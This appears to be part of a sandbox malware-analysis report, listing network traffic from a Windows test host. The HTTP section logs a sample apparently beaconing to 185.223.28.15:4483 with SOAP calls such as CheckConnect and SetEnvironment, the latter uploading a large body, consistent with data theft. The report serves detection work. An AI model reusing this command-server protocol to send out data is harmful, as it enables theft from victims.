May 4, 2024 07:22:04.991585970 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.991600990 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.991672039 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.991681099 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.991689920 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.991699934 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.991708994 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.991895914 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.991906881 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.991946936 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.992037058 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.992130995 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.992141962 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.992182970 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.992192984 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.992285967 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.992295980 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.992408037 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.992418051 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.992428064 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.992549896 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.992605925 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.992759943 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.992775917 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.992825985 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.992866039 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.992930889 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.992957115 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.993098021 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:05.292754889 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:05.292772055 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:05.329607010 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:05.423825979 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:05.686146975 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:07.129699945 CEST	49752	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:07.129736900 CEST	443	49752	20.12.23.50	192.168.2.4
May 4, 2024 07:22:07.129859924 CEST	49752	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:07.131021023 CEST	49752	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:07.131032944 CEST	443	49752	20.12.23.50	192.168.2.4
May 4, 2024 07:22:07.821858883 CEST	443	49752	20.12.23.50	192.168.2.4
May 4, 2024 07:22:07.821927071 CEST	49752	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:07.823513985 CEST	49752	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:07.823533058 CEST	443	49752	20.12.23.50	192.168.2.4
May 4, 2024 07:22:07.823720932 CEST	443	49752	20.12.23.50	192.168.2.4
May 4, 2024 07:22:07.872839928 CEST	49752	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:08.007953882 CEST	443	49748	142.250.68.4	192.168.2.4
May 4, 2024 07:22:08.008004904 CEST	443	49748	142.250.68.4	192.168.2.4
May 4, 2024 07:22:08.008083105 CEST	49748	443	192.168.2.4	142.250.68.4
May 4, 2024 07:22:08.383042097 CEST	49752	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:08.424120903 CEST	443	49752	20.12.23.50	192.168.2.4
May 4, 2024 07:22:08.834377050 CEST	443	49752	20.12.23.50	192.168.2.4
May 4, 2024 07:22:08.834397078 CEST	443	49752	20.12.23.50	192.168.2.4
May 4, 2024 07:22:08.834403992 CEST	443	49752	20.12.23.50	192.168.2.4
May 4, 2024 07:22:08.834422112 CEST	443	49752	20.12.23.50	192.168.2.4
May 4, 2024 07:22:08.834446907 CEST	443	49752	20.12.23.50	192.168.2.4
May 4, 2024 07:22:08.834590912 CEST	49752	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:08.834590912 CEST	49752	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:08.834611893 CEST	443	49752	20.12.23.50	192.168.2.4
May 4, 2024 07:22:08.834621906 CEST	443	49752	20.12.23.50	192.168.2.4
May 4, 2024 07:22:08.834686995 CEST	49752	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:09.183798075 CEST	49752	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:09.183820963 CEST	443	49752	20.12.23.50	192.168.2.4
May 4, 2024 07:22:09.183845997 CEST	49752	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:09.183851957 CEST	443	49752	20.12.23.50	192.168.2.4
May 4, 2024 07:22:09.784874916 CEST	49748	443	192.168.2.4	142.250.68.4
May 4, 2024 07:22:09.784890890 CEST	443	49748	142.250.68.4	192.168.2.4
May 4, 2024 07:22:46.903844118 CEST	49758	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:46.903877974 CEST	443	49758	20.12.23.50	192.168.2.4
May 4, 2024 07:22:46.903973103 CEST	49758	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:46.904306889 CEST	49758	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:46.904320002 CEST	443	49758	20.12.23.50	192.168.2.4
May 4, 2024 07:22:47.588131905 CEST	443	49758	20.12.23.50	192.168.2.4
May 4, 2024 07:22:47.588216066 CEST	49758	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:47.592786074 CEST	49758	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:47.592797995 CEST	443	49758	20.12.23.50	192.168.2.4
May 4, 2024 07:22:47.593000889 CEST	443	49758	20.12.23.50	192.168.2.4
May 4, 2024 07:22:47.602643013 CEST	49758	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:47.648111105 CEST	443	49758	20.12.23.50	192.168.2.4
May 4, 2024 07:22:48.265558004 CEST	443	49758	20.12.23.50	192.168.2.4
May 4, 2024 07:22:48.265577078 CEST	443	49758	20.12.23.50	192.168.2.4
May 4, 2024 07:22:48.265614033 CEST	443	49758	20.12.23.50	192.168.2.4
May 4, 2024 07:22:48.265654087 CEST	49758	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:48.265682936 CEST	443	49758	20.12.23.50	192.168.2.4
May 4, 2024 07:22:48.265702009 CEST	49758	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:48.265741110 CEST	49758	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:48.265743971 CEST	443	49758	20.12.23.50	192.168.2.4
May 4, 2024 07:22:48.265753984 CEST	443	49758	20.12.23.50	192.168.2.4
May 4, 2024 07:22:48.265778065 CEST	443	49758	20.12.23.50	192.168.2.4
May 4, 2024 07:22:48.265791893 CEST	49758	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:48.265815020 CEST	49758	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:48.265819073 CEST	443	49758	20.12.23.50	192.168.2.4
May 4, 2024 07:22:48.265866995 CEST	49758	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:48.271225929 CEST	49758	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:48.271240950 CEST	443	49758	20.12.23.50	192.168.2.4
May 4, 2024 07:22:48.271250010 CEST	49758	443	192.168.2.4	20.12.23.50
May 4, 2024 07:22:48.271255016 CEST	443	49758	20.12.23.50	192.168.2.4
May 4, 2024 07:22:57.664226055 CEST	49760	443	192.168.2.4	142.250.68.4
May 4, 2024 07:22:57.664252996 CEST	443	49760	142.250.68.4	192.168.2.4
May 4, 2024 07:22:57.664323092 CEST	49760	443	192.168.2.4	142.250.68.4
May 4, 2024 07:22:57.664567947 CEST	49760	443	192.168.2.4	142.250.68.4
May 4, 2024 07:22:57.664581060 CEST	443	49760	142.250.68.4	192.168.2.4
May 4, 2024 07:22:57.993942022 CEST	443	49760	142.250.68.4	192.168.2.4
May 4, 2024 07:22:57.994270086 CEST	49760	443	192.168.2.4	142.250.68.4
May 4, 2024 07:22:57.994287968 CEST	443	49760	142.250.68.4	192.168.2.4
May 4, 2024 07:22:57.994641066 CEST	443	49760	142.250.68.4	192.168.2.4
May 4, 2024 07:22:57.994944096 CEST	49760	443	192.168.2.4	142.250.68.4
May 4, 2024 07:22:57.994999886 CEST	443	49760	142.250.68.4	192.168.2.4
May 4, 2024 07:22:58.048352003 CEST	49760	443	192.168.2.4	142.250.68.4
May 4, 2024 07:23:06.174897909 CEST	49723	80	192.168.2.4	72.21.81.240
May 4, 2024 07:23:06.174947977 CEST	49724	80	192.168.2.4	199.232.210.172
May 4, 2024 07:23:06.337393999 CEST	80	49724	199.232.210.172	192.168.2.4
May 4, 2024 07:23:06.337409019 CEST	80	49724	199.232.210.172	192.168.2.4
May 4, 2024 07:23:06.337471008 CEST	49724	80	192.168.2.4	199.232.210.172
May 4, 2024 07:23:06.377413034 CEST	80	49723	72.21.81.240	192.168.2.4
May 4, 2024 07:23:06.377469063 CEST	49723	80	192.168.2.4	72.21.81.240
May 4, 2024 07:23:07.989217043 CEST	443	49760	142.250.68.4	192.168.2.4
May 4, 2024 07:23:07.989273071 CEST	443	49760	142.250.68.4	192.168.2.4
May 4, 2024 07:23:07.989490986 CEST	49760	443	192.168.2.4	142.250.68.4
May 4, 2024 07:23:09.787014961 CEST	49760	443	192.168.2.4	142.250.68.4
May 4, 2024 07:23:09.787036896 CEST	443	49760	142.250.68.4	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 4, 2024 07:21:53.263006926 CEST	53	51130	1.1.1.1	192.168.2.4
May 4, 2024 07:21:53.270277023 CEST	53	55740	1.1.1.1	192.168.2.4
May 4, 2024 07:21:53.346422911 CEST	56381	53	192.168.2.4	1.1.1.1
May 4, 2024 07:21:53.346910000 CEST	51820	53	192.168.2.4	1.1.1.1
May 4, 2024 07:21:53.507236004 CEST	53	56381	1.1.1.1	192.168.2.4
May 4, 2024 07:21:53.507714987 CEST	53	51820	1.1.1.1	192.168.2.4
May 4, 2024 07:21:54.350792885 CEST	53	63286	1.1.1.1	192.168.2.4
May 4, 2024 07:21:55.509054899 CEST	53	56133	1.1.1.1	192.168.2.4
May 4, 2024 07:21:56.061006069 CEST	53	55806	1.1.1.1	192.168.2.4
May 4, 2024 07:21:56.538567066 CEST	52863	53	192.168.2.4	1.1.1.1
May 4, 2024 07:21:57.320369005 CEST	54802	53	192.168.2.4	1.1.1.1
May 4, 2024 07:21:57.320499897 CEST	51578	53	192.168.2.4	1.1.1.1
May 4, 2024 07:21:57.480473995 CEST	53	54802	1.1.1.1	192.168.2.4
May 4, 2024 07:21:57.481147051 CEST	53	51578	1.1.1.1	192.168.2.4
May 4, 2024 07:22:14.241583109 CEST	53	54835	1.1.1.1	192.168.2.4
May 4, 2024 07:22:17.753336906 CEST	138	138	192.168.2.4	192.168.2.255
May 4, 2024 07:22:33.289024115 CEST	53	63649	1.1.1.1	192.168.2.4
May 4, 2024 07:22:53.086316109 CEST	53	59514	1.1.1.1	192.168.2.4
May 4, 2024 07:22:56.321727037 CEST	53	52873	1.1.1.1	192.168.2.4
May 4, 2024 07:23:21.929434061 CEST	53	49895	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
May 4, 2024 07:21:55.509114981 CEST	192.168.2.4	1.1.1.1	c221	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 4, 2024 07:21:53.346422911 CEST	192.168.2.4	1.1.1.1	0xc63b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 4, 2024 07:21:53.346910000 CEST	192.168.2.4	1.1.1.1	0xef51	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 4, 2024 07:21:56.538567066 CEST	192.168.2.4	1.1.1.1	0x1cf4	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false
May 4, 2024 07:21:57.320369005 CEST	192.168.2.4	1.1.1.1	0x8100	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
May 4, 2024 07:21:57.320499897 CEST	192.168.2.4	1.1.1.1	0x70d4	Standard query (0)	apis.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 4, 2024 07:21:53.507236004 CEST	1.1.1.1	192.168.2.4	0xc63b	No error (0)	www.google.com		142.250.68.4	A (IP address)	IN (0x0001)	false
May 4, 2024 07:21:53.507714987 CEST	1.1.1.1	192.168.2.4	0xef51	No error (0)	www.google.com			65	IN (0x0001)	false
May 4, 2024 07:21:56.699084997 CEST	1.1.1.1	192.168.2.4	0x1cf4	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 4, 2024 07:21:57.480473995 CEST	1.1.1.1	192.168.2.4	0x8100	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
May 4, 2024 07:21:57.480473995 CEST	1.1.1.1	192.168.2.4	0x8100	No error (0)	plus.l.google.com		142.250.72.238	A (IP address)	IN (0x0001)	false
May 4, 2024 07:21:57.481147051 CEST	1.1.1.1	192.168.2.4	0x70d4	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

apis.google.com

fs.microsoft.com

slscr.update.microsoft.com

185.223.28.15:4483

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	185.223.28.15	4483	6840	C:\Users\user\Desktop\SW3uxM7BXI.exe

Timestamp	Bytes transferred	Direction	Data
May 4, 2024 07:21:49.413552999 CEST	239	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Accept-Encoding: gzip, deflate Host: 185.223.28.15:4483 Content-Length: 137 Expect: 100-continue Connection: Keep-Alive
May 4, 2024 07:21:49.721998930 CEST	25	IN	HTTP/1.1 100 Continue
May 4, 2024 07:21:50.232736111 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 04 May 2024 05:21:45 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
May 4, 2024 07:21:55.809979916 CEST	222	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 185.223.28.15:4483 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
May 4, 2024 07:21:56.122546911 CEST	25	IN	HTTP/1.1 100 Continue
May 4, 2024 07:21:56.475831985 CEST	1289	IN	HTTP/1.1 200 OK Content-Length: 6373 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 04 May 2024 05:21:52 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>20.163.64.196</b:string><b:string>20.163.64.196</b:string><b:string>154.61.71.50</b:string><b:string>154.61.71.50</b:string><b:string>154.61.71.50</b:string><b:string>71.56.27.41</b:string><b:string>176.100.243.133</b:string><b:string>195.74.76.223</b:string><b:string>91.207.173.110</b:string><b:string>20.114.22.115</b:string><b:string>20.114.22.115</b:string><b:string>111.7.100.28</b:string><b:string>34.17.49.70</b:string><b:string>20.99.160.173</b:string><b:string>91.90.42.154</b:string><b:string>5.63.40.118</b:string><b:string>91.90.42.154</b:string><b:string>5.63.40.118</b:string><b:strin [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49751	185.223.28.15	4483	6840	C:\Users\user\Desktop\SW3uxM7BXI.exe

Timestamp	Bytes transferred	Direction	Data
May 4, 2024 07:22:01.409652948 CEST	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 185.223.28.15:4483 Content-Length: 533555 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
May 4, 2024 07:22:01.714440107 CEST	25	IN	HTTP/1.1 100 Continue
May 4, 2024 07:22:03.788734913 CEST	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 04 May 2024 05:21:59 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
May 4, 2024 07:22:04.079643965 CEST	216	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 185.223.28.15:4483 Content-Length: 533547 Expect: 100-continue Accept-Encoding: gzip, deflate
May 4, 2024 07:22:04.382859945 CEST	25	IN	HTTP/1.1 100 Continue
May 4, 2024 07:22:05.329607010 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 04 May 2024 05:22:01 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	142.250.68.4	443	7288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-04 05:21:53 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-04 05:21:54 UTC	1283	IN	HTTP/1.1 200 OK Date: Sat, 04 May 2024 05:21:54 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-CwagTndamencKIblt7dPQw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Viewport-Width Accept-CH: Sec-CH-Viewport-Height Accept-CH: Sec-CH-DPR Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-04 05:21:54 UTC	1283	IN	Data Raw: 35 32 34 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 73 61 6d 20 61 73 68 20 6d 75 73 69 63 20 73 74 6f 72 65 73 20 63 6c 6f 73 69 6e 67 22 2c 22 77 6f 72 64 6c 65 20 61 6e 73 77 65 72 73 22 2c 22 61 72 73 65 6e 61 6c 20 76 73 20 62 6f 75 72 6e 65 6d 6f 75 74 68 20 70 72 65 64 69 63 74 69 6f 6e 73 22 2c 22 61 70 70 6c 65 20 69 70 68 6f 6e 65 20 61 6c 61 72 6d 73 22 2c 22 74 65 78 61 73 20 74 6f 72 6e 61 64 6f 65 73 22 2c 22 74 65 73 6c 61 20 73 75 70 65 72 63 68 61 72 67 65 72 22 2c 22 64 61 6c 6c 61 73 20 63 6f 77 62 6f 79 73 22 2c 22 6d 77 33 20 77 61 72 7a 6f 6e 65 20 72 65 6c 6f 61 64 20 62 75 67 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b Data Ascii: 524)]}'["",["sam ash music stores closing","wordle answers","arsenal vs bournemouth predictions","apple iphone alarms","texas tornadoes","tesla supercharger","dallas cowboys","mw3 warzone reload bug"],["","","","","","","",""],[],{"google:clientdata":{
2024-05-04 05:21:54 UTC	40	IN	Data Raw: 4c 65 6c 42 42 54 45 6c 6e 55 30 77 33 57 6b 74 42 4e 6c 46 4c 61 55 52 6d 56 55 35 5a 51 7a 6c 6c 59 32 64 33 52 0d 0a Data Ascii: LelBBTElnU0w3WktBNlFLaURmVU5ZQzllY2d3R
2024-05-04 05:21:54 UTC	1232	IN	Data Raw: 34 63 39 0d 0a 44 63 78 63 48 46 30 57 45 38 33 57 56 4e 72 54 45 64 49 5a 46 6c 76 53 48 6b 77 51 57 38 72 4e 6d 52 44 62 6e 6f 33 52 33 4a 53 4c 30 6c 74 56 44 42 61 5a 57 39 35 63 58 59 35 52 33 46 61 56 58 68 71 51 31 45 77 4c 33 52 31 5a 6b 35 6d 53 45 56 4d 53 54 4e 49 64 47 77 76 64 6d 31 77 56 6a 6c 51 56 44 6b 7a 51 6b 74 46 4d 54 49 77 57 6a 55 35 4d 55 31 75 53 6c 64 6d 63 31 6c 75 5a 58 52 31 4b 79 39 4d 51 6a 4e 45 62 47 4e 53 4d 47 64 76 61 47 78 6b 4f 47 67 76 51 55 52 53 55 56 46 74 52 45 51 78 5a 45 39 4c 57 6e 5a 32 54 6b 38 78 5a 6d 5a 79 5a 55 4e 51 4e 44 4a 49 52 6e 46 4c 64 56 70 4c 4c 33 5a 30 4b 30 46 4c 53 32 78 6f 5a 54 59 30 65 48 6c 69 64 56 5a 48 65 44 64 5a 62 32 4a 75 63 48 4a 76 52 56 52 32 5a 6a 6c 4b 51 6a 6b 33 61 6e 4a Data Ascii: 4c9DcxcHF0WE83WVNrTEdIZFlvSHkwQW8rNmRDbno3R3JSL0ltVDBaZW95cXY5R3FaVXhqQ1EwL3R1Zk5mSEVMSTNIdGwvdm1wVjlQVDkzQktFMTIwWjU5MU1uSldmc1luZXR1Ky9MQjNEbGNSMGdvaGxkOGgvQURSUVFtREQxZE9LWnZ2Tk8xZmZyZUNQNDJIRnFLdVpLL3Z0K0FLS2xoZTY0eHlidVZHeDdZb2JucHJvRVR2ZjlKQjk3anJ
